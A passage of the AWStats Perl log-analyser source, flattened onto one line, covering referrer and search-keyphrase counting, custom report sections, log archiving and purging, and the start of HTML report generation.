# Intern (This hit came from another page of the site) if ($PageBool) { $_from_p[4]++; } $_from_h[4]++; $found = 1; } else { # This hit came from a search engine if ($PageBool) { $_from_p[2]++; $_se_referrals_p{$tmprefererserver}++; } $_from_h[2]++; $_se_referrals_h{$tmprefererserver}++; $found = 1; if ( $PageBool && $LevelForKeywordsDetection ) { # we will complete %_keyphrases hash array my @refurl = split( /\?/, $field[$pos_referer], 2 ) ; # TODO Use \? or [$URLQuerySeparators] ? if ( $refurl[1] ) { # Extract params of referer query string (q=cache:mmm:www/zzz+aaa+bbb q=aaa+bbb/ccc key=ddd%20eee lang_en ie=UTF-8 ...) if ( $SearchEnginesKnownUrl{ $tmprefererserver} ) { # Search engine with known URL syntax foreach my $param ( split( /&/, $KeyWordsNotSensitive ? lc( $refurl[1] ) : $refurl[1] ) ) { if ( $param =~ s/^$SearchEnginesKnownUrl{$tmprefererserver}// ) { # We found good parameter # Now param is keyphrase: "cache:mmm:www/zzz+aaa+bbb/ccc+ddd%20eee'fff,ggg" $param =~ s/^(cache|related):[^\+]+// ; # Should be useless since this is for hit on 'not pages' &ChangeWordSeparatorsIntoSpace ($param) ; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg] $param =~ s/^ +//; $param =~ s/ +$//; # Trim $param =~ tr/ /\+/s; if ( ( length $param ) > 0 ) { $_keyphrases{$param}++; } last; } } } elsif ( $LevelForKeywordsDetection >= 2 ) { # Search engine with unknown URL syntax foreach my $param ( split( /&/, $KeyWordsNotSensitive ? lc( $refurl[1] ) : $refurl[1] ) ) { my $foundexcludeparam = 0; foreach my $paramtoexclude ( @WordsToCleanSearchUrl) { if ( $param =~ /$paramtoexclude/i ) { $foundexcludeparam = 1; last; } # Not the param with search criteria } if ($foundexcludeparam) { next; } # We found good parameter $param =~ s/.*=//; # Now param is keyphrase: "aaa+bbb/ccc+ddd%20eee'fff,ggg" $param =~ s/^(cache|related):[^\+]+// ; # Should be useless since this is for hit on 'not pages' &ChangeWordSeparatorsIntoSpace( $param) ; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg ] $param =~ s/^ +//; $param =~ s/ +$//; # Trim $param =~ tr/ /\+/s; if ( ( length $param ) > 2 ) { $_keyphrases{$param}++; last; } } } } # End of elsif refurl[1] elsif ( $SearchEnginesWithKeysNotInQuery{ $tmprefererserver} ) { # debug("xxx".$refurl[0]); # If search engine with key inside page url like a9 (www.a9.com/searchkey1%20searchkey2) if ( $refurl[0] =~ /$SearchEnginesKnownUrl{$tmprefererserver}(.*)$/ ) { my $param = $1; &ChangeWordSeparatorsIntoSpace( $param); $param =~ tr/ /\+/s; if ( ( length $param ) > 0 ) { $_keyphrases{$param}++; } } } } } } # End of if ($TmpRefererServer) else { # This hit came from a site other than a search engine if ($PageBool) { $_from_p[3]++; } $_from_h[3]++; # http://www.mysite.com/ must be same referer than http://www.mysite.com but .../mypage/ differs of .../mypage #if ($refurl[0] =~ /^[^\/]+\/$/) { $field[$pos_referer] =~ s/\/$//; } # Code moved in Save_History # TODO: lowercase the value for referer server to have refering server not case sensitive if ($URLReferrerWithQuery) { if ($PageBool) { $_pagesrefs_p{ $field[$pos_referer] }++; } $_pagesrefs_h{ $field[$pos_referer] }++; } else { # We discard query for referer if ( $field[$pos_referer] =~ /$regreferernoquery/o ) { if ($PageBool) { $_pagesrefs_p{"$1"}++; } $_pagesrefs_h{"$1"}++; } else { if ($PageBool) { $_pagesrefs_p{ $field[$pos_referer] }++; } $_pagesrefs_h{ $field[$pos_referer] }++; } } $found = 1; } } # News Link ? #if (! $found && $refererprot =~ /^news/i) { # $found=1; # if ($PageBool) { $_from_p[5]++; } # $_from_h[5]++; #} } } # Origin not found if ( !$found ) { if ($ShowUnknownOrigin) { print "Unknown origin: $field[$pos_referer]\n"; } if ($PageBool) { $_from_p[1]++; } $_from_h[1]++; } # Analyze: EMail #--------------- if ( $pos_emails >= 0 && $field[$pos_emails] ) { if ( $field[$pos_emails] eq '<>' ) { $field[$pos_emails] = 'Unknown'; } elsif ( $field[$pos_emails] !~ /\@/ ) { $field[$pos_emails] .= "\@$SiteDomain"; } $_emails_h{ lc( $field[$pos_emails] ) } ++; #Count accesses for sender email (hit) if ($pos_size>0){$_emails_k{ lc( $field[$pos_emails] ) } += int( $field[$pos_size] ) ;} #Count accesses for sender email (kb) $_emails_l{ lc( $field[$pos_emails] ) } = $timerecord; } if ( $pos_emailr >= 0 && $field[$pos_emailr] ) { if ( $field[$pos_emailr] !~ /\@/ ) { $field[$pos_emailr] .= "\@$SiteDomain"; } $_emailr_h{ lc( $field[$pos_emailr] ) } ++; #Count accesses for receiver email (hit) if ($pos_size>0){$_emailr_k{ lc( $field[$pos_emailr] ) } += int( $field[$pos_size] ) ;} #Count accesses for receiver email (kb) $_emailr_l{ lc( $field[$pos_emailr] ) } = $timerecord; } } # Check cluster #-------------- if ( $pos_cluster >= 0 ) { if ($PageBool) { $_cluster_p{ $field[$pos_cluster] }++; } #Count accesses for page (page) $_cluster_h{ $field[$pos_cluster] } ++; #Count accesses for page (hit) if ($pos_size>0){$_cluster_k{ $field[$pos_cluster] } += int( $field[$pos_size] );} #Count accesses for page (kb) } # Analyze: Extra #--------------- foreach my $extranum ( 1 .. @ExtraName - 1 ) { if ($Debug) { debug( " Process extra analyze $extranum", 4 ); } # Check code my $conditionok = 0; if ( $ExtraCodeFilter[$extranum] ) { foreach my $condnum ( 0 .. @{ $ExtraCodeFilter[$extranum] } - 1 ) { if ($Debug) { debug( " Check code '$field[$pos_code]' must be '$ExtraCodeFilter[$extranum][$condnum]'", 5 ); } if ( $field[$pos_code] eq "$ExtraCodeFilter[$extranum][$condnum]" ) { $conditionok = 1; last; } } if ( !$conditionok && @{ $ExtraCodeFilter[$extranum] } ) { next; } # End for this section if ($Debug) { debug( " No check on code or code is OK. Now we check other conditions.", 5 ); } } # Check conditions $conditionok = 0; foreach my $condnum ( 0 .. @{ $ExtraConditionType[$extranum] } - 1 ) { my $conditiontype = $ExtraConditionType[$extranum][$condnum]; my $conditiontypeval = $ExtraConditionTypeVal[$extranum][$condnum]; if ( $conditiontype eq 'URL' ) { if ($Debug) { debug( " Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery'", 5 ); } if ( $urlwithnoquery =~ /$conditiontypeval/ ) { $conditionok = 1; last; } } elsif ( $conditiontype eq 'QUERY_STRING' ) { if ($Debug) { debug( " Check condition '$conditiontype' must contain '$conditiontypeval' in '$standalonequery'", 5 ); } if ( $standalonequery =~ /$conditiontypeval/ ) { $conditionok = 1; last; } } elsif ( $conditiontype eq 'URLWITHQUERY' ) { if ($Debug) { debug( " Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery$tokenquery$standalonequery'", 5 ); } if ( "$urlwithnoquery$tokenquery$standalonequery" =~ /$conditiontypeval/ ) { $conditionok = 1; last; } } elsif ( $conditiontype eq 'REFERER' ) { if ($Debug) { debug( " Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_referer]'", 5 ); } if ( $field[$pos_referer] =~ /$conditiontypeval/ ) { $conditionok = 1; last; } } elsif ( $conditiontype eq 'UA' ) { if ($Debug) { debug( " Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_agent]'", 5 ); } if ( $field[$pos_agent] =~ /$conditiontypeval/ ) { $conditionok = 1; last; } } elsif ( $conditiontype eq 'HOSTINLOG' ) { if ($Debug) { debug( " Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_host]'", 5 ); } if ( $field[$pos_host] =~ /$conditiontypeval/ ) { $conditionok = 1; last; } } elsif ( $conditiontype eq 'HOST' ) { my $hosttouse = ( $HostResolved ? $HostResolved : $Host ); if ($Debug) { debug( " Check condition '$conditiontype' must contain '$conditiontypeval' in '$hosttouse'", 5 ); } if ( $hosttouse =~ /$conditiontypeval/ ) { $conditionok = 1; last; } } elsif ( $conditiontype eq 'VHOST' ) { if ($Debug) { debug( " Check condision '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_vh]'", 5 ); } if ( $field[$pos_vh] =~ /$conditiontypeval/ ) { $conditionok = 1; last; } } elsif ( $conditiontype =~ /extra(\d+)/i ) { if ($Debug) { debug( " Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_extra[$1]]'", 5 ); } if ( $field[ $pos_extra[$1] ] =~ /$conditiontypeval/ ) { $conditionok = 1; last; } } else { error( "Wrong value of parameter ExtraSectionCondition$extranum" ); } } if ( !$conditionok && @{ $ExtraConditionType[$extranum] } ) { next; } # End for this section if ($Debug) { debug( " No condition or condition is OK. Now we extract value for first column of extra chart.", 5 ); } # Determine actual column value to use. my $rowkeyval; my $rowkeyok = 0; foreach my $rowkeynum ( 0 .. @{ $ExtraFirstColumnValuesType[$extranum] } - 1 ) { my $rowkeytype = $ExtraFirstColumnValuesType[$extranum][$rowkeynum]; my $rowkeytypeval = $ExtraFirstColumnValuesTypeVal[$extranum][$rowkeynum]; if ( $rowkeytype eq 'URL' ) { if ( $urlwithnoquery =~ /$rowkeytypeval/ ) { $rowkeyval = "$1"; $rowkeyok = 1; last; } } elsif ( $rowkeytype eq 'QUERY_STRING' ) { if ($Debug) { debug( " Extract value from '$standalonequery' with regex '$rowkeytypeval'.", 5 ); } if ( $standalonequery =~ /$rowkeytypeval/ ) { $rowkeyval = "$1"; $rowkeyok = 1; last; } } elsif ( $rowkeytype eq 'URLWITHQUERY' ) { if ( "$urlwithnoquery$tokenquery$standalonequery" =~ /$rowkeytypeval/ ) { $rowkeyval = "$1"; $rowkeyok = 1; last; } } elsif ( $rowkeytype eq 'REFERER' ) { if ( $field[$pos_referer] =~ /$rowkeytypeval/ ) { $rowkeyval = "$1"; $rowkeyok = 1; last; } } elsif ( $rowkeytype eq 'UA' ) { if ( $field[$pos_agent] =~ /$rowkeytypeval/ ) { $rowkeyval = "$1"; $rowkeyok = 1; last; } } elsif ( $rowkeytype eq 'HOSTINLOG' ) { if ( $field[$pos_host] =~ /$rowkeytypeval/ ) { $rowkeyval = "$1"; $rowkeyok = 1; last; } } elsif ( $rowkeytype eq 'HOST' ) { my $hosttouse = ( $HostResolved ? $HostResolved : $Host ); if ( $hosttouse =~ /$rowkeytypeval/ ) { $rowkeyval = "$1"; $rowkeyok = 1; last; } } elsif ( $rowkeytype eq 'VHOST' ) { if ( $field[$pos_vh] =~ /$rowkeytypeval/ ) { $rowkeyval = "$1"; $rowkeyok = 1; last; } } elsif ( $rowkeytype =~ /extra(\d+)/i ) { if ( $field[ $pos_extra[$1] ] =~ /$rowkeytypeval/ ) { $rowkeyval = "$1"; $rowkeyok = 1; last; } } else { error( "Wrong value of parameter ExtraSectionFirstColumnValues$extranum" ); } } if ( !$rowkeyok ) { next; } # End for this section if ( !$rowkeyval ) { $rowkeyval = 'Failed to extract key'; } if ($Debug) { debug( " Key val found: $rowkeyval", 5 ); } # Apply function on $rowkeyval if ( $ExtraFirstColumnFunction[$extranum] ) { # Todo call function on string $rowkeyval } # Here we got all values to increase counters if ( $PageBool && $ExtraStatTypes[$extranum] =~ /P/i ) { ${ '_section_' . $extranum . '_p' }{$rowkeyval}++; } ${ '_section_' . $extranum . '_h' }{$rowkeyval}++; # Must be set if ( $ExtraStatTypes[$extranum] =~ /B/i && $pos_size>0) { ${ '_section_' . $extranum . '_k' }{$rowkeyval} += int( $field[$pos_size] ); } if ( $ExtraStatTypes[$extranum] =~ /L/i ) { if ( ${ '_section_' . $extranum . '_l' }{$rowkeyval} || 0 < $timerecord ) { ${ '_section_' . $extranum . '_l' }{$rowkeyval} = $timerecord; } } # Check to avoid too large extra sections if ( scalar keys %{ '_section_' . $extranum . '_h' } > $ExtraTrackedRowsLimit ) { error(<<END_ERROR_TEXT); The number of values found for extra section $extranum has grown too large. In order to prevent awstats from using an excessive amount of memory, the number of values is currently limited to $ExtraTrackedRowsLimit. Perhaps you should consider revising extract parameters for extra section $extranum. If you are certain you want to track such a large data set, you can increase the limit by setting ExtraTrackedRowsLimit in your awstats configuration file. END_ERROR_TEXT } } # Every 20,000 approved lines after a flush, we test to clean too large hash arrays to flush data in tmp file if ( ++$counterforflushtest >= 20000 ) { #if (++$counterforflushtest >= 1) { if ( ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 ) || ( scalar keys %_url_p ) > $LIMITFLUSH ) { # warning("Warning: Try to run AWStats update process more frequently to analyze smaler log files."); if ( $^X =~ /activestate/i || $^X =~ /activeperl/i ) { # We don't flush if perl is activestate to avoid slowing process because of memory hole } else { # Clean tmp hash arrays #%TmpDNSLookup = (); %TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = (); # We flush if perl is not activestate print "Flush history file on disk"; if ( ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 ) ) { print " (unique hosts reach flush limit of " . ( $LIMITFLUSH << 2 ) . ")"; } if ( ( scalar keys %_url_p ) > $LIMITFLUSH ) { print " (unique url reach flush limit of " . ($LIMITFLUSH) . ")"; } print "\n"; if ($Debug) { debug( "End of set of $counterforflushtest records: Some hash arrays are too large. We flush and clean some.", 2 ); print " _host_p:" . ( scalar keys %_host_p ) . " _host_h:" . ( scalar keys %_host_h ) . " _host_k:" . ( scalar keys %_host_k ) . " _host_l:" . ( scalar keys %_host_l ) . " _host_s:" . ( scalar keys %_host_s ) . " _host_u:" . ( scalar keys %_host_u ) . "\n"; print " _url_p:" . ( scalar keys %_url_p ) . " _url_k:" . ( scalar keys %_url_k ) . " _url_e:" . ( scalar keys %_url_e ) . " _url_x:" . ( scalar keys %_url_x ) . "\n"; print " _waithost_e:" . ( scalar keys %_waithost_e ) . " _waithost_l:" . ( scalar keys %_waithost_l ) . " _waithost_s:" . ( scalar keys %_waithost_s ) . " _waithost_u:" . ( scalar keys %_waithost_u ) . "\n"; } &Read_History_With_TmpUpdate( $lastprocessedyear, $lastprocessedmonth, $lastprocessedday, $lastprocessedhour, 1, 1, "all", ( $lastlinenb + $NbOfLinesParsed ), $lastlineoffset, &CheckSum($_) ); &GetDelaySinceStart(1); $NbOfLinesShowsteps = 1; } } $counterforflushtest = 0; } } # End of loop for processing new record. if ($Debug) { debug( " _host_p:" . ( scalar keys %_host_p ) . " _host_h:" . ( scalar keys %_host_h ) . " _host_k:" . ( scalar keys %_host_k ) . " _host_l:" . ( scalar keys %_host_l ) . " _host_s:" . ( scalar keys %_host_s ) . " _host_u:" . ( scalar keys %_host_u ) . "\n", 1 ); debug( " _url_p:" . ( scalar keys %_url_p ) . " _url_k:" . ( scalar keys %_url_k ) . " _url_e:" . ( scalar keys %_url_e ) . " _url_x:" . ( scalar keys %_url_x ) . "\n", 1 ); debug( " _waithost_e:" . ( scalar keys %_waithost_e ) . " _waithost_l:" . ( scalar keys %_waithost_l ) . " _waithost_s:" . ( scalar keys %_waithost_s ) . " _waithost_u:" . ( scalar keys %_waithost_u ) . "\n", 1 ); debug( "End of processing log file (AWStats memory cache is TmpDNSLookup=" . ( scalar keys %TmpDNSLookup ) . " TmpBrowser=" . ( scalar keys %TmpBrowser ) . " TmpOS=" . ( scalar keys %TmpOS ) . " TmpRefererServer=" . ( scalar keys %TmpRefererServer ) . " TmpRobot=" . ( scalar keys %TmpRobot ) . ")", 1 ); } # Save current processed break section # If lastprocesseddate > 0 means there is at least one approved new record in log or at least one existing history file if ( $lastprocesseddate > 0 ) { # TODO: Do not save if we are sure a flush was just already done # Get last line seek( LOG, $lastlineoffset, 0 ); my $line = <LOG>; chomp $line; $line =~ s/\r$//; if ( !$NbOfLinesParsed ) { # TODO If there was no lines parsed (log was empty), we only update LastUpdate line with YYYYMMDDHHMMSS 0 0 0 0 0 &Read_History_With_TmpUpdate( $lastprocessedyear, $lastprocessedmonth, $lastprocessedday, $lastprocessedhour, 1, 1, "all", ( $lastlinenb + $NbOfLinesParsed ), $lastlineoffset, &CheckSum($line) ); } else { &Read_History_With_TmpUpdate( $lastprocessedyear, $lastprocessedmonth, $lastprocessedday, $lastprocessedhour, 1, 1, "all", ( $lastlinenb + $NbOfLinesParsed ), $lastlineoffset, &CheckSum($line) ); } } if ($Debug) { debug("Close log file \"$LogFile\""); } close LOG || error("Command for pipe '$LogFile' failed"); # Process the Rename - Archive - Purge phase my $renameok = 1; my $archiveok = 1; # Open Log file for writing if PurgeLogFile is on if ($PurgeLogFile) { if ($ArchiveLogRecords) { if ( $ArchiveLogRecords == 1 ) { # For backward compatibility $ArchiveFileName = "$DirData/${PROG}_archive$FileSuffix.log"; } else { $ArchiveFileName = "$DirData/${PROG}_archive$FileSuffix." . &Substitute_Tags($ArchiveLogRecords) . ".log"; } open( LOG, "+<$LogFile" ) || error( "Enable to archive log records of \"$LogFile\" into \"$ArchiveFileName\" because source can't be opened for read and write: $!<br />\n" ); } else { open( LOG, "+<$LogFile" ); } binmode LOG; } # Rename all HISTORYTMP files into HISTORYTXT &Rename_All_Tmp_History(); # Purge Log file if option is on and all renaming are ok if ($PurgeLogFile) { # Archive LOG file into ARCHIVELOG if ($ArchiveLogRecords) { if ($Debug) { debug("Start of archiving log file"); } open( ARCHIVELOG, ">>$ArchiveFileName" ) || error( "Couldn't open file \"$ArchiveFileName\" to archive log: $!"); binmode ARCHIVELOG; while (<LOG>) { if ( !print ARCHIVELOG $_ ) { $archiveok = 0; last; } } close(ARCHIVELOG) || error("Archiving failed during closing archive: $!"); if ($SaveDatabaseFilesWithPermissionsForEveryone) { chmod 0666, "$ArchiveFileName"; } if ($Debug) { debug("End of archiving log file"); } } # If rename and archive ok if ( $renameok && $archiveok ) { if ($Debug) { debug("Purge log file"); } my $bold = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>' : '' ); my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>' : '' ); my $br = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' ); truncate( LOG, 0 ) || warning( "Warning: $bold$PROG$unbold couldn't purge logfile \"$bold$LogFile$unbold\".$br\nChange your logfile permissions to allow write for your web server CGI process or change PurgeLogFile=1 into PurgeLogFile=0 in configure file and think to purge sometimes manually your logfile (just after running an update process to not loose any not already processed records your log file contains)." ); } close(LOG); } if ( $DNSLookup == 1 && $DNSLookupAlreadyDone ) { # DNSLookup warning my $bold = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>' : '' ); my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>' : '' ); my $br = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' ); warning( "Warning: $bold$PROG$unbold has detected that some hosts names were already resolved in your logfile $bold$DNSLookupAlreadyDone$unbold.$br\nIf DNS lookup was already made by the logger (web server), you should change your setup DNSLookup=$DNSLookup into DNSLookup=0 to increase $PROG speed." ); } if ( $DNSLookup == 1 && $NbOfNewLines ) { # Save new DNS last update cache file Save_DNS_Cache_File( \%TmpDNSLookup, "$DirData/$DNSLastUpdateCacheFile", "$FileSuffix" ); # Save into file using FileSuffix } if ($EnableLockForUpdate) { # Remove lock &Lock_Update(0); # Restore signals handler $SIG{INT} = 'DEFAULT'; # 2 #$SIG{KILL} = 'DEFAULT'; # 9 #$SIG{TERM} = 'DEFAULT'; # 15 } } # End of log processing if ($UPdateStats) #--------------------------------------------------------------------- # SHOW REPORT #--------------------------------------------------------------------- if ( scalar keys %HTMLOutput ) { debug( "YearRequired=$YearRequired, MonthRequired=$MonthRequired", 2 ); debug( "DayRequired=$DayRequired, HourRequired=$HourRequired", 2 ); # Define the NewLinkParams for main chart my $NewLinkParams = ${QueryString}; $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; $NewLinkParams =~ s/(^|&|&)output(=\w*|$)//i; $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; my $NewLinkTarget = ''; if ($DetailedReportsOnNewWindows) { $NewLinkTarget = " target=\"awstatsbis\""; } if ( ( $FrameName eq 'mainleft' || $FrameName eq 'mainright' ) && $DetailedReportsOnNewWindows < 2 ) { $NewLinkParams .= "&framename=mainright"; $NewLinkTarget = " target=\"mainright\""; } $NewLinkParams =~ s/(&|&)+/&/i; $NewLinkParams =~ s/^&//; $NewLinkParams =~ s/&$//; if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } if ( $FrameName ne 'mainleft' ) { # READING DATA #------------- &Init_HashArray(); # Lecture des fichiers history / reading history file if ( $DatabaseBreak eq 'month' ) { for ( my $ix = 12 ; $ix >= 1 ; $ix-- ) { my $stringforload = ''; my $monthix = sprintf( "%02s", $ix ); if ( $MonthRequired eq 'all' || $monthix eq $MonthRequired ) { $stringforload = 'all'; # Read full history file } elsif ( ( $HTMLOutput{'main'} && $ShowMonthStats ) || $HTMLOutput{'alldays'} ) { $stringforload = 'general time'; # Read general and time sections. } if ($stringforload) { # On charge fichier / file is loaded &Read_History_With_TmpUpdate( $YearRequired, $monthix, '', '', 0, 0, $stringforload ); } } } if ( $DatabaseBreak eq 'day' ) { my $stringforload = 'all'; my $monthix = sprintf( "%02s", $MonthRequired ); my $dayix = sprintf( "%02s", $DayRequired ); &Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix, '', 0, 0, $stringforload ); } if ( $DatabaseBreak eq 'hour' ) { my $stringforload = 'all'; my $monthix = sprintf( "%02s", $MonthRequired ); my $dayix = sprintf( "%02s", $DayRequired ); my $hourix = sprintf( "%02s", $HourRequired ); &Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix, $hourix, 0, 0, $stringforload ); } } # HTMLHeadSection if ( $FrameName ne 'index' && $FrameName ne 'mainleft' ) { print "<a name=\"top\"></a>\n\n"; my $newhead = $HTMLHeadSection; $newhead =~ s/\\n/\n/g; print "$newhead\n"; print "\n"; } # Call to plugins' function AddHTMLBodyHeader foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLBodyHeader'} } ) { my $function = "AddHTMLBodyHeader_$pluginname"; &$function(); } my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 ); # TOP BAN #--------------------------------------------------------------------- if ( $ShowMenu || $FrameName eq 'mainleft' ) { HTMLTopBanner($WIDTHMENU1); } # Call to plugins' function AddHTMLMenuHeader foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuHeader'} } ) { my $function = "AddHTMLMenuHeader_$pluginname"; &$function(); } # MENU (ON LEFT IF FRAME OR TOP) #--------------------------------------------------------------------- if ( $ShowMenu || $FrameName eq 'mainleft' ) { HTMLMenu($NewLinkParams, $NewLinkTarget); } # Call to plugins' function AddHTMLMenuFooter foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuFooter'} } ) { my $function = "AddHTMLMenuFooter_$pluginname"; &$function(); } # Exit if left frame if ( $FrameName eq 'mainleft' ) { &html_end(0); exit 0; } # TotalVisits TotalUnique TotalPages TotalHits TotalBytes TotalHostsKnown TotalHostsUnknown $TotalUnique = $TotalVisits = $TotalPages = $TotalHits = $TotalBytes = 0; $TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0; $TotalHostsKnown = $TotalHostsUnknown = 0; my $beginmonth = $MonthRequired; my $endmonth = $MonthRequired; if ( $MonthRequired eq 'all' ) { $beginmonth = 1; $endmonth = 12; } for ( my $month = $beginmonth ; $month <= $endmonth ; $month++ ) { my $monthix = sprintf( "%02s", $month ); $TotalHostsKnown += $MonthHostsKnown{ $YearRequired . $monthix } || 0; # Wrong in year view $TotalHostsUnknown += $MonthHostsUnknown{ $YearRequired . $monthix } || 0; # Wrong in year view $TotalUnique += $MonthUnique{ $YearRequired . $monthix } || 0; # Wrong in year view $TotalVisits += $MonthVisits{ $YearRequired . $monthix } || 0; # Not completely true $TotalPages += $MonthPages{ $YearRequired . $monthix } || 0; $TotalHits += $MonthHits{ $YearRequired . $monthix } || 0; $TotalBytes += $MonthBytes{ $YearRequired . $monthix } || 0; $TotalNotViewedPages += $MonthNotViewedPages{ $YearRequired . $monthix } || 0; $TotalNotViewedHits += $MonthNotViewedHits{ $YearRequired . $monthix } || 0; $TotalNotViewedBytes += $MonthNotViewedBytes{ $YearRequired . $monthix } || 0; } # TotalHitsErrors TotalBytesErrors $TotalHitsErrors = 0; my $TotalBytesErrors = 0; foreach ( keys %_errors_h ) { # print "xxxx".$_." zzz".$_errors_h{$_}; $TotalHitsErrors += $_errors_h{$_}; $TotalBytesErrors += $_errors_k{$_}; } # TotalEntries (if not already specifically counted, we init it from _url_e hash table) if ( !$TotalEntries ) { foreach ( keys %_url_e ) { $TotalEntries += $_url_e{$_}; } } # TotalExits (if not already specifically counted, we init it from _url_x hash table) if ( !$TotalExits ) { foreach ( keys %_url_x ) { $TotalExits += $_url_x{$_}; } } # TotalBytesPages (if not already specifically counted, we init it from _url_k hash table) if ( !$TotalBytesPages ) { foreach ( keys %_url_k ) { $TotalBytesPages += $_url_k{$_}; } } # TotalKeyphrases (if not already specifically counted, we init it from _keyphrases hash table) if ( !$TotalKeyphrases ) { foreach ( keys %_keyphrases ) { $TotalKeyphrases += $_keyphrases{$_}; } } # TotalKeywords (if not already specifically counted, we init it from _keywords hash table) if ( !$TotalKeywords ) { foreach ( keys %_keywords ) { $TotalKeywords += $_keywords{$_}; } } # TotalSearchEnginesPages (if not already specifically counted, we init it from _se_referrals_p hash table) if ( !$TotalSearchEnginesPages ) { foreach ( keys %_se_referrals_p ) { $TotalSearchEnginesPages += $_se_referrals_p{$_}; } } # TotalSearchEnginesHits (if not already specifically counted, we init it from _se_referrals_h hash table) if ( !$TotalSearchEnginesHits ) { foreach ( keys %_se_referrals_h ) { $TotalSearchEnginesHits += $_se_referrals_h{$_}; } } # TotalRefererPages (if not already specifically counted, we init it from _pagesrefs_p hash table) if ( !$TotalRefererPages ) { foreach ( keys %_pagesrefs_p ) { $TotalRefererPages += $_pagesrefs_p{$_}; } } # TotalRefererHits (if not already specifically counted, we init it from _pagesrefs_h hash table) if ( !$TotalRefererHits ) { foreach ( keys %_pagesrefs_h ) { $TotalRefererHits += $_pagesrefs_h{$_}; } } # TotalDifferentPages (if not already specifically counted, we init it from _url_p hash table) $TotalDifferentPages ||= scalar keys %_url_p; # TotalDifferentKeyphrases (if not already specifically counted, we init it from _keyphrases hash table) $TotalDifferentKeyphrases ||= scalar keys %_keyphrases; # TotalDifferentKeywords (if not already specifically counted, we init it from _keywords hash table) $TotalDifferentKeywords ||= scalar keys %_keywords; # TotalDifferentSearchEngines (if not already specifically counted, we init it from _se_referrals_h hash table) $TotalDifferentSearchEngines ||= scalar keys %_se_referrals_h; # TotalDifferentReferer (if not already specifically counted, we init it from _pagesrefs_h hash table) $TotalDifferentReferer ||= scalar keys %_pagesrefs_h; # Define firstdaytocountaverage, lastdaytocountaverage, firstdaytoshowtime, lastdaytoshowtime my $firstdaytocountaverage = $nowyear . $nowmonth . "01"; # Set day cursor to 1st day of month my $firstdaytoshowtime = $nowyear . $nowmonth . "01"; # Set day cursor to 1st day of month my $lastdaytocountaverage = $nowyear . $nowmonth . $nowday; # Set day cursor to today my $lastdaytoshowtime = $nowyear . $nowmonth . "31"; # Set day cursor to last day of month if ( $MonthRequired eq 'all' ) { $firstdaytocountaverage = $YearRequired . "0101"; # Set day cursor to 1st day of the required year } if ( ( $MonthRequired ne $nowmonth && $MonthRequired ne 'all' ) || $YearRequired ne $nowyear ) { if ( $MonthRequired eq 'all' ) { $firstdaytocountaverage = $YearRequired . "0101"; # Set day cursor to 1st day of the required year $firstdaytoshowtime = $YearRequired . "1201" ; # Set day cursor to 1st day of last month of required year $lastdaytocountaverage = $YearRequired . "1231"; # Set day cursor to last day of the required year $lastdaytoshowtime = $YearRequired . "1231" ; # Set day cursor to last day of last month of required year } else { $firstdaytocountaverage = $YearRequired . $MonthRequired . "01"; # Set day cursor to 1st day of the required month $firstdaytoshowtime = $YearRequired . $MonthRequired . "01"; # Set day cursor to 1st day of the required month $lastdaytocountaverage = $YearRequired . $MonthRequired . "31"; # Set day cursor to last day of the required month $lastdaytoshowtime = $YearRequired . $MonthRequired . "31"; # Set day cursor to last day of the required month } } if ($Debug) { debug( "firstdaytocountaverage=$firstdaytocountaverage, lastdaytocountaverage=$lastdaytocountaverage", 1 ); debug( "firstdaytoshowtime=$firstdaytoshowtime, lastdaytoshowtime=$lastdaytoshowtime", 1 ); } # Call to plugins' function AddHTMLContentHeader foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLContentHeader'} } ) { # to add unique visitors & number of visits, by J Ruano @ CAPSiDE if ( $ShowDomainsStats =~ /U/i ) { print "<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>"; } if ( $ShowDomainsStats =~ /V/i ) { print "<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>"; } my $function = "AddHTMLContentHeader_$pluginname"; &$function(); } # Output individual frames or static pages for specific sections #----------------------- if ( scalar keys %HTMLOutput == 1 ) { if ( $HTMLOutput{'alldomains'} ) { &HTMLShowDomains(); } if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) { &HTMLShowHosts(); } if ( $HTMLOutput{'unknownip'} ) { &HTMLShowHostsUnknown(); } if ( $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) { &HTMLShowEmailSendersChart( $NewLinkParams, $NewLinkTarget ); &html_end(1); } if ( $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) { &HTMLShowEmailReceiversChart( $NewLinkParams, $NewLinkTarget ); &html_end(1); } if ( $HTMLOutput{'alllogins'} || $HTMLOutput{'lastlogins'} ) { &HTMLShowLogins(); } if ( $HTMLOutput{'allrobots'} || $HTMLOutput{'lastrobots'} ) { 